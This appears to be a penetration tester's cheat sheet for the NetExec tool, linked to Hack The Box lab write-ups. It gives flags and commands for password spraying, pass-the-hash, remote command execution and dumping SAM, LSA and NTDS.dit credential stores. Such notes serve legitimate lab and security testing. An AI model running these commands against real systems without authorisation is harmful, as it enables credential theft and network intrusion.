🛠️ NetExec

Installation

pipx install git+https://github.com/Pennyw0rth/NetExec

Common Flags

FlagDescription
-uUsername (or a file of usernames for spraying).
-pPassword (or a file of passwords for spraying).
-HNTLM hash to authenticate with instead of a password.
-kUse Kerberos authentication instead of NTLM (needed when NTLM is disabled domain-wide).
--local-authAuthenticate against the local SAM instead of the domain.
--usersList domain users (SMB) / dump the SAM (local).
--groupsList domain groups.
--sharesEnumerate accessible SMB shares.
--sam / --lsa / --ntdsDump the SAM / LSA secrets / NTDS.dit (needs admin rights on the target).
-x / -XExecute a shell command / PowerShell command on the target.

Common Commands

# Validate a single credential pair / spray a list against SMB
nxc smb <target> -u 'user' -p 'pass'
nxc smb <target> -u users.txt -p passwords.txt --continue-on-success
 
# Enumerate domain users once a valid credential is found
nxc smb <target> -u 'user' -p 'pass' --users
 
# Force Kerberos auth (needed if NTLM auth is disabled on the domain)
nxc smb <dc_hostname> -u 'user' -p 'pass' -k --users
 
# Check the same credential across multiple protocols
nxc winrm <target> -u 'user' -p 'pass'
nxc mssql <target> -u 'user' -p 'pass'
nxc ldap <target> -u 'user' -p 'pass'
 
# Pass-the-hash
nxc smb <target> -u 'user' -H '<nt_hash>'
 
# Dump SAM/LSA secrets once local admin is confirmed
nxc smb <target> -u 'admin' -p 'pass' --local-auth --sam

Tips & Tricks

  • If a target refuses NTLM entirely (STATUS_NOT_SUPPORTED), that’s a sign NTLM auth is disabled — retry with -k and make sure the target’s hostname (not IP) resolves via /etc/hosts plus a valid /etc/krb5.conf, and that your clock is in sync (KRB_AP_ERR_SKEW otherwise).
  • Password spraying with -u/-p pointing at two files tries every combination — use --no-bruteforce to instead pair them up line-by-line (one username per matching password).
FileCreated
HTB - CicadaTuesday, July 21st 2026, 2:55:20 am
HTB - ScrambledMonday, July 20th 2026, 11:37:01 pm
HTB - StreamIOJuly 21, 2026

References: NetExec GitHub